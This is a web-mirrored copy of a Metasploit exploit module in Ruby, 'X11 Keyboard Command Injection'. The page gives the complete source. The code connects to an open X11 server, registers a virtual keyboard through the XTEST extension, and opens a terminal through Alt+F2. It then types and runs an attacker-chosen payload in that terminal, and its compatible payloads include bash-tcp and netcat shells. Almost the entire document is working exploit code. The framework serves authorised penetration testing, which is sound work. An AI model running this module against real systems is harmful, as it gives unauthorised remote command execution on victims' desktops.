Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/x11/x11_keyboard_exec.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
include Msf::Exploit::Remote::Tcp
9
10
KB_KEYS = {
11
'1' => "\x0a",
12
'2' => "\x0b",
13
'3' => "\x0c",
14
'4' => "\x0d",
15
'5' => "\x0e",
16
'6' => "\x0f",
17
'7' => "\x10",
18
'&' => "\x10",
19
'8' => "\x11",
20
'9' => "\x12",
21
'(' => "\x12",
22
'0' => "\x13",
23
')' => "\x13",
24
'-' => "\x14",
25
'=' => "\x15",
26
'q' => "\x18",
27
'w' => "\x19",
28
'e' => "\x1a",
29
'r' => "\x1b",
30
't' => "\x1c",
31
'y' => "\x1d",
32
'u' => "\x1e",
33
'i' => "\x1f",
34
'o' => "\x20",
35
'p' => "\x21",
36
'[' => "\x22",
37
'{' => "\x22",
38
']' => "\x23",
39
'}' => "\x23",
40
'a' => "\x26",
41
's' => "\x27",
42
'd' => "\x28",
43
'f' => "\x29",
44
'g' => "\x2a",
45
'h' => "\x2b",
46
'j' => "\x2c",
47
'k' => "\x2d",
48
'l' => "\x2e",
49
';' => "\x2f",
50
':' => "\x2f",
51
"'" => "\x30",
52
'"' => "\x30",
53
'`' => "\x31",
54
'~' => "\x31",
55
'lshift' => "\x32",
56
'\\' => "\x33",
57
'|' => "\x33",
58
'z' => "\x34",
59
'x' => "\x35",
60
'c' => "\x36",
61
'v' => "\x37",
62
'b' => "\x38",
63
'n' => "\x39",
64
'm' => "\x3a",
65
',' => "\x3b",
66
'<' => "\x3b",
67
'.' => "\x3c",
68
'>' => "\x3c",
69
'/' => "\x3d",
70
'*' => "\x3f",
71
'alt' => "\x40",
72
' ' => "\x41",
73
'f2' => "\x44"
74
}
75
76
def initialize(info = {})
77
super(
78
update_info(
79
info,
80
'Name' => 'X11 Keyboard Command Injection',
81
'Description' => %q{
82
This module exploits open X11 servers by connecting and registering a
83
virtual keyboard. The virtual keyboard is used to open an xterm or gnome
84
terminal and type and execute the specified payload.
85
},
86
'Author' => [
87
'xistence <xistence[at]0x90.nl>'
88
],
89
'Privileged' => false,
90
'License' => MSF_LICENSE,
91
'Payload' => {
92
'DisableNops' => true,
93
'Compat' => {
94
'PayloadType' => 'cmd cmd_bash',
95
'RequiredCmd' => 'gawk bash-tcp python netcat'
96
}
97
},
98
'Platform' => ['unix'],
99
'Arch' => ARCH_CMD,
100
'Targets' => [
101
['xterm (Generic)', {}],
102
['gnome-terminal (Ubuntu)', {}],
103
],
104
'DisclosureDate' => '2015-07-10',
105
'DefaultTarget' => 0,
106
'Notes' => {
107
'Stability' => [CRASH_SAFE],
108
'SideEffects' => [SCREEN_EFFECTS],
109
'Reliability' => [REPEATABLE_SESSION]
110
}
111
)
112
)
113
114
register_options([
115
Opt::RPORT(6000),
116
OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows in seconds', 5])
117
])
118
end
119
120
def xkeyboard_key
121
req = ''
122
req << @xkeyboard_opcode
123
req << "\x05" # Extension minor: 5 (LatchLockState)
124
req << "\x04\x00" # Request length: 4
125
req << "\x00\x01" # DeviceSpec: 0x0100 (256)
126
req << "\x00" # affectModLocks: 0
127
req << "\x00" # modLocks: 0
128
req << "\x01" # lockGroup: True
129
req << "\x00" # groupLock: 0
130
req << "\x00" # affectModLatches: 0
131
req << "\x00" # Unused
132
req << "\x00" # latchGroup: False
133
req << "\x00\x00" # groupLatch: 0
134
req << "\x00" # Undecoded
135
return req
136
end
137
138
def press_key(key)
139
req = xkeyboard_key
140
141
req << @xtest_opcode
142
req << "\x02" # Extension minor: 2 (FakeInput)
143
req << "\x09\x00" # Request length: 9
144
req << "\x02" # Press key (Type: 2)
145
req << key # What key to press
146
req << "\x04\x00" # Unused?
147
req << "\x00\x00\x00\x00" # Time
148
req << "\x00\x00\x00\x00" # Root
149
req << "\x07\x00\x07\x00" # Unused?
150
req << "\x88\x04\x02\x00" # Unused?
151
# req << "\x00\x01" # rootX: 256
152
# req << "\xf5\x05" # rootY: 1525
153
req << "\x00\x00" # rootX: 0
154
req << "\x00\x00" # rootY: 0
155
req << "\x00\x00\x00\x00" # Unused?
156
req << "\x00\x00\x00" # Unused?
157
req << "\x00" # deviceid: 0
158
159
req << xkeyboard_key
160
161
req << "\x2b" # Opcode 43: GetInputFocus
162
req << "\x00" # Unused
163
req << "\x01\x00" # Request length: 1
164
165
sock.put(req)
166
167
res = sock.get_once
168
169
# Response should give 1 on first byte (Success)
170
unless res && res[0, 1] == "\x01"
171
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}")
172
end
173
end
174
175
def release_key(key)
176
req = xkeyboard_key
177
178
req << @xtest_opcode
179
req << "\x02" # Extension minor: 2 (FakeInput)
180
req << "\x09\x00" # Request length: 9
181
req << "\x03" # Release key (Type: 3)
182
req << key # What key to release
183
req << "\x04\x00" # Unused?
184
req << "\x00\x00\x00\x00" # Time
185
req << "\x00\x00\x00\x00" # Root
186
req << "\x07\x00\x07\x00" # Unused?
187
req << "\x88\x04\x02\x00" # Unused?
188
# req << "\x00\x01" # rootX: 256
189
# req << "\xf5\x05" # rootY: 1525
190
req << "\x00\x00" # rootX: 0
191
req << "\x00\x00" # rootY: 0
192
req << "\x00\x00\x00\x00" # Unused?
193
req << "\x00\x00\x00" # Unused?
194
req << "\x00" # deviceid: 0
195
196
req << xkeyboard_key
197
198
req << "\x2b" # Opcode 43: GetInputFocus
199
req << "\x00" # Unused
200
req << "\x01\x00" # Request length: 1
201
202
sock.put(req)
203
204
res = sock.get_once
205
206
# Response should give 1 on first byte (Success)
207
unless res && res[0, 1] == "\x01"
208
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}")
209
end
210
end
211
212
def type_command(command)
213
# Specify the special keys which need to have shift pressed first to type
214
specialkeys = '<>{}|"&()'.chars
215
values = command.chars
216
values.each do |value|
217
key = KB_KEYS[value]
218
# Special keys need a shift pressed to be typed
219
if Regexp.union(specialkeys) =~ value
220
press_key(KB_KEYS['lshift']) # [lshift]
221
press_key(key)
222
release_key(KB_KEYS['lshift'])
223
release_key(key)
224
# Uppercase characters need to be converted to lowercase and be typed in combination with the shift key to generate uppercase
225
elsif value =~ /[A-Z]/
226
press_key(KB_KEYS['lshift']) # [lshift]
227
press_key(KB_KEYS[value.downcase])
228
release_key(KB_KEYS['lshift'])
229
release_key(KB_KEYS[value.downcase])
230
# All normal keys which are not special keys or uppercase characters
231
else
232
press_key(key)
233
release_key(key)
234
end
235
end
236
# Send an enter
237
press_key("\x24") # [enter]
238
release_key("\x24") # [enter]
239
end
240
241
def send_msg(sock, data)
242
sock.put(data)
243
data = ''
244
begin
245
read_data = sock.get_once(-1, 1)
246
until read_data.nil?
247
data << read_data
248
read_data = sock.get_once(-1, 1)
249
end
250
rescue EOFError => e
251
vprint_error(e.message)
252
end
253
data
254
end
255
256
def exploit
257
connect
258
259
print_status("#{rhost}:#{rport} - Register keyboard")
260
261
req = "\x6c" # Byte order (Little-Endian)
262
req << "\x00" # Unused
263
req << "\x0b\x00" # Protocol major version: 11
264
req << "\x00\x00" # Protocol minor version: 0
265
req << "\x00\x00" # Authorization protocol name length: 0
266
req << "\x00\x00" # Authorization protocol data length: 0
267
req << "\x00\x00" # Unused
268
269
# Retrieve the whole X11 details response
270
res = send_msg(sock, req)
271
272
# Response should give 0x01 in first byte (Success)
273
unless res && res[0, 1] == "\x01"
274
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 initial communication failed")
275
end
276
277
# Keyboard registration
278
req = "\x62" # Opcode 98: QueryExtension
279
req << "\x00" # Unused
280
req << "\x05\x00" # Request length: 5
281
req << "\x09\x00" # Name length: 9
282
req << "\x60\x03" # Unused?
283
req << 'XKEYBOARD' # Name
284
req << "\x00\x00\x00" # Unused, padding?
285
286
# Retrieve the whole X11 details response
287
res = send_msg(sock, req)
288
289
# Response should give 0x01 in first byte (Success)
290
if res && res[0, 1] == "\x01"
291
@xkeyboard_opcode = res[9, 1] # Retrieve the XKEYBOARD opcode
292
else
293
# puts res.inspect
294
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XKEYBOARD failed")
295
end
296
297
req = ''
298
req << @xkeyboard_opcode
299
req << "\x00" # Extension minor: 0 (UseExtension)
300
req << "\x02\x00" # Request length: 2
301
req << "\x01\x00" # Wanted Major: 1
302
req << "\x00\x00" # Wanted Minor: 0
303
304
# Retrieve the whole X11 details response
305
res = send_msg(sock, req)
306
307
unless res && res[0, 1] == "\x01"
308
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD (opcode 136) failed -")
309
end
310
311
req = "\x62" # Opcode 98: QueryExtension
312
req << "\x00" # Unused
313
req << "\x06\x00" # Request length: 6
314
req << "\x0f\x00" # Name length: 15
315
req << "\x00\x00" # Unused
316
req << 'XInputExtension' # Name
317
req << "\x00" # Unused, padding?
318
319
# Retrieve the whole X11 details response
320
res = send_msg(sock, req)
321
322
# Response should give 0x01 in first byte (Success)
323
unless res && res[0, 1] == "\x01"
324
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XInputExtension failed")
325
end
326
327
req = "\x62" # Opcode 98: QueryExtension
328
req << "\x00" # Unused
329
req << "\x04\x00" # Request length: 4
330
req << "\x05\x00" # Name length: 5
331
req << "\x00\x00" # Unused
332
req << 'XTEST' # Name
333
req << "\x00\x00\x00" # Unused, padding?
334
335
# Retrieve the whole X11 details response
336
res = send_msg(sock, req)
337
338
# Response should give 0x01 in first byte (Success)
339
if res && res[0, 1] == "\x01"
340
@xtest_opcode = res[9, 1] # Retrieve the XTEST opcode
341
else
342
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XTEST failed")
343
end
344
345
req = "\x62" # Opcode 98: QueryExtension
346
req << "\x00" # Unused
347
req << "\x08\x00" # Request length
348
req << "\x17\x00" # Name length
349
req << "\x00\x00" # Unused
350
req << 'Generic Event Extension' # Name
351
req << "\x00" # Unused, padding?
352
353
# Retrieve the whole X11 details response
354
res = send_msg(sock, req)
355
356
# Response should give 0x01 in first byte (Success)
357
if res && res[0, 1] == "\x01"
358
@genericevent_opcode = res[9, 1] # Retrieve the Generic Event Extension opcode
359
else
360
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) Generic Event Extension failed")
361
end
362
363
req = ''
364
req << @genericevent_opcode
365
req << "\x00" # Extension minor: 0 (QueryVersion)
366
req << "\x02\x00" # Request length: 2
367
req << "\x01\x00" # Client major version: 1
368
req << "\x00\x00" # Client minor version: 0
369
370
# Retrieve the whole X11 details response
371
res = send_msg(sock, req)
372
373
# Response should give 0x01 in first byte (Success)
374
unless res && res[0, 1] == "\x01"
375
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
376
end
377
378
req = ''
379
req << @xtest_opcode
380
req << "\x00" # Extension minor: 0 (GetVersion)
381
req << "\x02\x00" # Request length: 2
382
req << "\x02\x00" # Major version: 2
383
req << "\x02\x00" # Minor version: 2
384
385
# Retrieve the whole X11 details response
386
res = send_msg(sock, req)
387
388
# Response should give 0x01 in first byte (Success)
389
unless res && res[0, 1] == "\x01"
390
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XTEST failed")
391
end
392
393
req = "\x65" # Opcode 101: GetKeyboardMapping
394
req << "\x00" # Unused
395
req << "\x02\x00" # Request length: 2
396
req << "\x08" # First keycode: 8
397
req << "\xf8" # Count: 248
398
req << "\x02\x00" # Unused?
399
400
# Retrieve the whole X11 details response
401
res = send_msg(sock, req)
402
403
# Response should give 0x01 in first byte (Success)
404
unless res && res[0, 1] == "\x01"
405
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request GetKeyboardMapping (opcode 101) failed")
406
end
407
408
req = ''
409
req << @xkeyboard_opcode
410
req << "\x08" # Extension minor: 8 (GetMap)
411
req << "\x07\x00" # Request length: 7
412
req << "\x00\x01" # Device spec: 0x0100 (256)
413
req << "\x07\x00" # Full: 7
414
req << "\x00\x00" # Partial: 0
415
req << "\x00" # firsType: 0
416
req << "\x00" # nTypes: 0
417
req << "\x00" # firstKeySym: 0
418
req << "\x00" # nKeySym: 0
419
req << "\x00" # firstKeyAction: 0
420
req << "\x00" # nKeysActions: 0
421
req << "\x00" # firstKeyBehavior: 0
422
req << "\x00" # nKeysBehavior: 0
423
req << "\x00\x00" # virtualMods: 0
424
req << "\x00" # firstKeyExplicit: 0
425
req << "\x00" # nKeyExplicit: 0
426
req << "\x00" # firstModMapKey: 0
427
req << "\x00" # nModMapKeys: 0
428
req << "\x00" # firstVModMapKey: 0
429
req << "\x00" # nVModMapKeys: 0
430
req << "\x00\x00" # Unused, padding?
431
432
# Retrieve the whole X11 details response
433
res = send_msg(sock, req)
434
435
# Response should give 0x01 in first byte (Success)
436
unless res && res[0, 1] == "\x01"
437
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
438
end
439
440
# Press ALT+F2 to start up "Run application"
441
print_status("#{rhost}:#{rport} - Opening \"Run Application\"")
442
press_key(KB_KEYS['alt'])
443
press_key(KB_KEYS['f2'])
444
release_key(KB_KEYS['alt'])
445
release_key(KB_KEYS['f2'])
446
447
# Wait X seconds to open the dialog
448
print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
449
Rex.sleep(datastore['TIME_WAIT'])
450
451
if datastore['TARGET'] == 0
452
# Start a xterm terminal
453
print_status("#{rhost}:#{rport} - Opening xterm")
454
type_command('xterm')
455
else
456
# Start a Gnome terminal
457
print_status("#{rhost}:#{rport} - Opening gnome-terminal")
458
type_command('gnome-terminal')
459
end
460
461
print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
462
# Wait X seconds to open the terminal
463
Rex.sleep(datastore['TIME_WAIT'])
464
465
# "Type" our payload and execute it
466
print_status("#{rhost}:#{rport} - Typing and executing payload")
467
command = "nohup #{payload.encoded} &2>/dev/null; sleep 1; exit"
468
469
type_command(command)
470
471
handler
472
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
473
print_error("#{rhost}:#{rport} - #{e.message}")
474
ensure
475
disconnect
476
end
477
end
478
479